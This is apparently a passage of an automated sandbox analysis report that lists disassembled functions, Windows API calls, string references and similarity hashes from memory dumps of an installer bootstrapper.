#74.MSI(?,ProductCode,?,00000001,00000001,?,?,?), ref: 6A54FA8E
#74.MSI(?,ProductCode,?,00000001,00000002,?,?,?,?), ref: 6A54FAD8
#205.MSI(00000000,00000000,00000000,?,00000001,?,00000000,?,?,?,?,?), ref: 6A54FBF3
#205.MSI(00000000,00000000,00000001,?,?,?,?,?,00000000,?,?,?,?,?), ref: 6A54FCF2
#70.MSI(?,VersionString,?,00000001,00000001,?,?,00000000,?,?,?,?,?), ref: 6A54FD98
#70.MSI(?,VersionString,?,00000001,00000002,?,?,?,00000000,?,?,?,?,?), ref: 6A54FDEF

Strings

VersionString, xrefs: 6A54FD92, 6A54FDE9
UpgradeCode, xrefs: 6A54F91C, 6A54F966
ProductCode, xrefs: 6A54FA88, 6A54FAD2

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: #205
String ID: ProductCode$UpgradeCode$VersionString
API String ID: 1037638882-776498540
Opcode ID: 62e4330b10be8eab17125da7c724a18d6b6ff9e02538e2704a57ad91c56540da
Instruction ID: 194254007dc91c548739483decf1417f276c8a7a5c4cf38bc9477594658f90c6
Opcode Fuzzy Hash: 62e4330b10be8eab17125da7c724a18d6b6ff9e02538e2704a57ad91c56540da
Instruction Fuzzy Hash: 6D226570804259DEEB25CF68CD98BEEBBB0EF55308F1181D9D509A7281EB746E88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 002BEAE0 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 286threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0045B2F4,DF534560,?,?,00000000), ref: 002BEC03
EnterCriticalSection.KERNEL32(?,DF534560,?,?,?,?,?,?,?,?,00000000,003B0277,000000FF), ref: 002BEC15
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,003B0277,000000FF), ref: 002BEC22
GetCurrentThread.KERNEL32 ref: 002BEC2D
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,003D744C,00000000), ref: 002BEE0E
LeaveCriticalSection.KERNEL32(?,00000000), ref: 002BEEEA

Strings

MODULE_BASE_ADDRESS, xrefs: 002BEE5B
[0x%.8Ix] , xrefs: 002BEE15
v, xrefs: 002BEEEA
<--------------------MORE--FRAMES-------------------->, xrefs: 002BEDB2
*** Stack Trace (x86) ***, xrefs: 002BED07

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$Current$EnterHandleInitializeLeaveModuleProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$MODULE_BASE_ADDRESS$[0x%.8Ix]
API String ID: 3051236879-1086252000
Opcode ID: 0cba7eee538b43bee8bed8cb3a76af7f9c726f7af4e8196c8af1a80ed16411a8
Instruction ID: 4a197afc1d554e41e588f10836ba2d8a0a4b92c13ddc845fcf0c137fd90e34b8
Opcode Fuzzy Hash: 0cba7eee538b43bee8bed8cb3a76af7f9c726f7af4e8196c8af1a80ed16411a8
Instruction Fuzzy Hash: C6C167719003889FDF26DFA4CC55BEE7BB8FF55304F004169E9099B281DBB5AA08CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002BEB90 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 223threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0045B2F4,DF534560,?,?,00000000), ref: 002BEC03
EnterCriticalSection.KERNEL32(?,DF534560,?,?,?,?,?,?,?,?,00000000,003B0277,000000FF), ref: 002BEC15
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,003B0277,000000FF), ref: 002BEC22
GetCurrentThread.KERNEL32 ref: 002BEC2D
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,003D744C,00000000), ref: 002BEE0E
LeaveCriticalSection.KERNEL32(?,00000000), ref: 002BEEEA

Strings

MODULE_BASE_ADDRESS, xrefs: 002BEE5B
[0x%.8Ix] , xrefs: 002BEE15
v, xrefs: 002BEEEA
<--------------------MORE--FRAMES-------------------->, xrefs: 002BEDB2
*** Stack Trace (x86) ***, xrefs: 002BED07

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$Current$EnterHandleInitializeLeaveModuleProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$MODULE_BASE_ADDRESS$[0x%.8Ix]
API String ID: 3051236879-1086252000
Opcode ID: 7108e9ef343e2d9d14d67bc4f5d2938d1092c610b572945f114c9d769a500a26
Instruction ID: b7eea9570b8209f1ad0c875a32d2427a1ec2dda6e5eea69ab29dc4dab8886ab9
Opcode Fuzzy Hash: 7108e9ef343e2d9d14d67bc4f5d2938d1092c610b572945f114c9d769a500a26
Instruction Fuzzy Hash: E5A157719003899FDF26DFA4CC55BEE7BA8BF15308F004169E909AB291DBB59B08CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6A567FD0 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 358libraryloaderCOMMON

Download Yara Rule

APIs

SymGetLineFromAddr.DBGHELP(?,00000000,?,?,AA831995), ref: 6A568081

Part of subcall function 6A56CF5B: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CF66
Part of subcall function 6A56CF5B: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CFA3

LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,?,AA831995,?,00000000,?,?,?,AA831995), ref: 6A5683E2
GetProcAddress.KERNEL32(00000000), ref: 6A5683E9

Part of subcall function 6A56CF11: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF1B
Part of subcall function 6A56CF11: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF4E
Part of subcall function 6A56CF11: RtlWakeAllConditionVariable.NTDLL ref: 6A56CFC5

Strings

[0x%.8Ix] , xrefs: 6A56832D
SymFromAddr, xrefs: 6A5683D8
-----, xrefs: 6A56843D
Dbghelp.dll, xrefs: 6A5683DD
%hs:%ld, xrefs: 6A568242
%hs(), xrefs: 6A56841D
-> , xrefs: 6A5684D6

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddrAddressConditionFromLibraryLineLoadProcVariableWake
String ID: -> $%hs()$%hs:%ld$-----$Dbghelp.dll$SymFromAddr$[0x%.8Ix]
API String ID: 962329029-582907586
Opcode ID: bf3912c38efa73345a3da296cf3f8e0cedb6a56cb8a71096c9b0b70f623fbd92
Instruction ID: 27366dd70bcf942e4ddbcf2ae601a7652a2e322108ba06bd576b291375c3173c
Opcode Fuzzy Hash: bf3912c38efa73345a3da296cf3f8e0cedb6a56cb8a71096c9b0b70f623fbd92
Instruction Fuzzy Hash: 41F16EB0900258DFDB21CF68C898BDEBBB4FF55304F10469DE419A7291DB75AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A548D60 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 245fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,00000000,6A58C76D,000000FF), ref: 6A548DDB
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,6A58C76D), ref: 6A548E3E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 6A548E65
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,00000000,6A58C76D,000000FF), ref: 6A548F3C
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,6A58C76D,000000FF), ref: 6A548F45
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005,?,?,?,?,?,?,?,00000000,6A58C76D,000000FF), ref: 6A548F7E
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005,?,?,?,?,?,?,?,00000000,6A58C76D,000000FF), ref: 6A548FB6

Strings

[InternetShortcut]URL=, xrefs: 6A548E71
open, xrefs: 6A548F77
-_.~!*'();:@&=+$,/?#[], xrefs: 6A548EB1, 6A548EC6

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ByteCharExecuteFileMultiShellWide$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$[InternetShortcut]URL=$open
API String ID: 520909297-1501725305
Opcode ID: 3586c94dee1b6c77b7fcf9d4914670746f73cb9cbd3815d4f04fca7b868c771d
Instruction ID: 36a8133130daadce252c8e8c7b53cbe4e520755c2833fad461d1e7069db5bdbf
Opcode Fuzzy Hash: 3586c94dee1b6c77b7fcf9d4914670746f73cb9cbd3815d4f04fca7b868c771d
Instruction Fuzzy Hash: 07813771904249AFEB20CF68CC85BDE7BF5EB56304F11056AE654AB2C1DB709A09C7E3

Uniqueness

Uniqueness Score: -1.00%

Function 002BBBE0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 492COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 002BBD7E
__Init_thread_footer.LIBCMT ref: 002BBED7
GetStdHandle.KERNEL32(000000F5,?,DF534560,?,?), ref: 002BBF5F
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?), ref: 002BBF66
GetStdHandle.KERNEL32(000000F5,0000000C,?,?), ref: 002BBF7A
SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 002BBF81

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

GetStdHandle.KERNEL32(000000F5,000000FF,?,00000000,00000000,00000000,003D9C94,00000002,?,?), ref: 002BC010
SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 002BC017

Strings

Error, xrefs: 002BC1CF

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ConsoleHandle$AttributeCriticalInit_thread_footerSectionText$BufferEnterInfoLeaveScreen
String ID: Error
API String ID: 1077374386-2619118453
Opcode ID: f143fe7a07b96464d6382494107e7f0179a0bcbd4c55e43e9fa5b8b2234f149e
Instruction ID: 5640109faa0ed53368a7159ab18a58a57db55dec1bc52b79cb1b5b32d0003e88
Opcode Fuzzy Hash: f143fe7a07b96464d6382494107e7f0179a0bcbd4c55e43e9fa5b8b2234f149e
Instruction Fuzzy Hash: D6225970D10309DFDB10DFA8C845BDEBBB4EF55314F244299E419AB291DBB4AA88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002CA1E0 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 002BF530: LoadLibraryW.KERNEL32(Shlwapi.dll,?,00000000,?,00000001,002CA241,00000001,DF534560,?,00000000,00000001), ref: 002BF54B
Part of subcall function 002BF530: GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 002BF561
Part of subcall function 002BF530: FreeLibrary.KERNEL32(00000000), ref: 002BF59A

GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000104,DF534560,?,00000000,00000001), ref: 002CA420

Strings

APPDATA, xrefs: 002CA417, 002CA41F
ProgramFilesFolder, xrefs: 002CA2A7
PROGRAMFILES, xrefs: 002CA3FD
AI_BOOTSTRAPPERLANGS, xrefs: 002CA4F2, 002CA53A
AppDataFolder, xrefs: 002CA388, 002CA3C5
Shlwapi.dll, xrefs: 002CA237
Shell32.dll, xrefs: 002CA263
ProgramFiles, xrefs: 002CA320, 002CA335, 002CA33D

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Library$AddressEnvironmentFreeLoadProcVariable
String ID: AI_BOOTSTRAPPERLANGS$APPDATA$AppDataFolder$PROGRAMFILES$ProgramFiles$ProgramFilesFolder$Shell32.dll$Shlwapi.dll
API String ID: 788177547-1020860216
Opcode ID: ecd4eae4c49669a0752885f16bd53caac18c0bc380f0f0bdfc67954a838ef356
Instruction ID: 625f059b9689de6e63f71eb2efd5721acaa7d86d6f9abef9d22e9e5c6a5ed1f6
Opcode Fuzzy Hash: ecd4eae4c49669a0752885f16bd53caac18c0bc380f0f0bdfc67954a838ef356
Instruction Fuzzy Hash: 7C91147161025A9BDB249F24D815FEAB3A5FF60318F1087ADE806C7291E771DD51CB82

Uniqueness

Uniqueness Score: -1.00%

Function 002E4170 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 121COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 002E41A6

Strings

HKEY_LOCAL_MACHINE, xrefs: 002E41ED
HKCU, xrefs: 002E4205
HKCC, xrefs: 002E4255
HKEY_CURRENT_CONFIG, xrefs: 002E4269
HKLM, xrefs: 002E41D5
HKEY_CURRENT_USER, xrefs: 002E4219
HKCR, xrefs: 002E422D
HKEY_CLASSES_ROOT, xrefs: 002E4241

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: _wcschr
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKLM
API String ID: 2691759472-1956487666
Opcode ID: b5552321e287076cdc0de7a28f9050115e3b457f167d1459b333ccd3a343c36a
Instruction ID: b67f8fbb44b84d333991ae40df3d95c772ca560939e00aa0383ea9d4e143a0ba
Opcode Fuzzy Hash: b5552321e287076cdc0de7a28f9050115e3b457f167d1459b333ccd3a343c36a
Instruction Fuzzy Hash: 23412C71EA03569BDF116B56CC02F5EB7A8EB04722F184639FD24E62D0E771DD24CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6A565C90 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,AA831995), ref: 6A565CC4
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 6A565CE7
GetSystemMetrics.USER32(0000000C), ref: 6A565D11
GetSystemMetrics.USER32(0000000B), ref: 6A565D17
LoadImageW.USER32(00000000,00007F01,00000001,00000000,00000000,00008040), ref: 6A565D29
FreeLibrary.KERNEL32(00000000), ref: 6A565D47

Strings

ComCtl32.dll, xrefs: 6A565CB8
P{[j, xrefs: 6A565D3B
LoadIconMetric, xrefs: 6A565CE1

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: LibraryLoadMetricsSystem$AddressFreeImageProc
String ID: ComCtl32.dll$LoadIconMetric$P{[j
API String ID: 1983857168-4005027585
Opcode ID: dc9ab35d6ae9b4f3952787e08e121b59cd4d8cc6228a1598c4f52f68d88c2d2c
Instruction ID: 2354bcaca802c30272a6100808007ec7b35e039ff229d52442ae4c5be07b86d0
Opcode Fuzzy Hash: dc9ab35d6ae9b4f3952787e08e121b59cd4d8cc6228a1598c4f52f68d88c2d2c
Instruction Fuzzy Hash: 2B218475A44355ABEB10CF95CC49B6EBBF8FB05711F01011AFA15E72C0EB7599008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EF0 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0045B428,DF534560,00000000,?,?,?,?,?,?,001C3750,0037454D,000000FF), ref: 001C3F2D
LeaveCriticalSection.KERNEL32(0045B428), ref: 001C40A3

Strings

AtlAxWinLic140, xrefs: 001C400F, 001C4065
WM_ATLGETCONTROL, xrefs: 001C3F44
0^4, xrefs: 001C3F50
0, xrefs: 001C4033
v, xrefs: 001C40A3
&^4, xrefs: 001C3FD1, 001C406F
AtlAxWin140, xrefs: 001C3F5F, 001C3FC3
WM_ATLGETHOST, xrefs: 001C3F39

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: v$&^4$0$0^4$AtlAxWin140$AtlAxWinLic140$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 3168844106-3319681165
Opcode ID: d4055b18e1eeed70aeca59eb52965e264de324da259d6225245a16c2726f8b07
Instruction ID: 11fdcb05dc6b54a553facb82bdfe6123ef8aed3f5d0c47deb0301da16dbebb67
Opcode Fuzzy Hash: d4055b18e1eeed70aeca59eb52965e264de324da259d6225245a16c2726f8b07
Instruction Fuzzy Hash: 6D5138B1C04319DFCB11CFA4E845BEEBBB8EB09705F10412AE814B7381D7B99A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00353F89 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 487COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00354361

Strings

f, xrefs: 003540E1
:, xrefs: 00354054
p, xrefs: 003540E8
p, xrefs: 00354086
f, xrefs: 0035409B
p, xrefs: 003540A2
f, xrefs: 0035407F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: __aulldiv
String ID: :$f$f$f$p$p$p
API String ID: 3732870572-1434680307
Opcode ID: 013564e479b2db0c71377780a6d618be377321a5e9063e1932ec4065dafd7c67
Instruction ID: e9b097205381da69287dcedc6a47934b3d69b47bd1bf8d736846473b1fd702c0
Opcode Fuzzy Hash: 013564e479b2db0c71377780a6d618be377321a5e9063e1932ec4065dafd7c67
Instruction Fuzzy Hash: 5F02A1B59102189BDF3A8F65D444EEDB776FB41B0EFA68505E8157B2A0E3308ECD8B14

Uniqueness

Uniqueness Score: -1.00%

Function 6A568F50 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00000000), ref: 6A5692D6
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,00000000), ref: 6A5692DD
GetStdHandle.KERNEL32(000000F5,0000000C,?,00000000), ref: 6A5692F1
SetConsoleTextAttribute.KERNEL32(00000000,?,00000000), ref: 6A5692F8

Part of subcall function 6A56CF5B: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CF66
Part of subcall function 6A56CF5B: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CFA3

GetStdHandle.KERNEL32(000000F5,?,?,00000000,00000000,00000000,6A5B6F74,00000002,?,00000000), ref: 6A569387
SetConsoleTextAttribute.KERNEL32(00000000,?,00000000), ref: 6A56938E

Strings

Error, xrefs: 6A569546

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ConsoleHandle$AttributeCriticalSectionText$BufferEnterInfoLeaveScreen
String ID: Error
API String ID: 3234038037-2619118453
Opcode ID: 2a83db49a31fcda4e49718865f820591ca36ddbcc7d25c27181ca33ff1c30225
Instruction ID: 054779fa4a0dd0393a84098b2ffd72a747d2b9b7658db00ee39f51e2a8182496
Opcode Fuzzy Hash: 2a83db49a31fcda4e49718865f820591ca36ddbcc7d25c27181ca33ff1c30225
Instruction Fuzzy Hash: 0F123870E00358DFDF10CFA4C848B9EBBB5BF46318F118699E459AB290DB759A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 001C6080 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 361stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,#32770), ref: 001C6181

Strings

#32770, xrefs: 001C6178
b^4, xrefs: 001C6196
Ad4, xrefs: 001C636E
D^4, xrefs: 001C610E, 001C649F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: lstrcmp
String ID: #32770$Ad4$D^4$b^4
API String ID: 1534048567-993881407
Opcode ID: 73e8e55625ca3f324978a46919301c699e284b0a6c15c0f938b500078acbbfe0
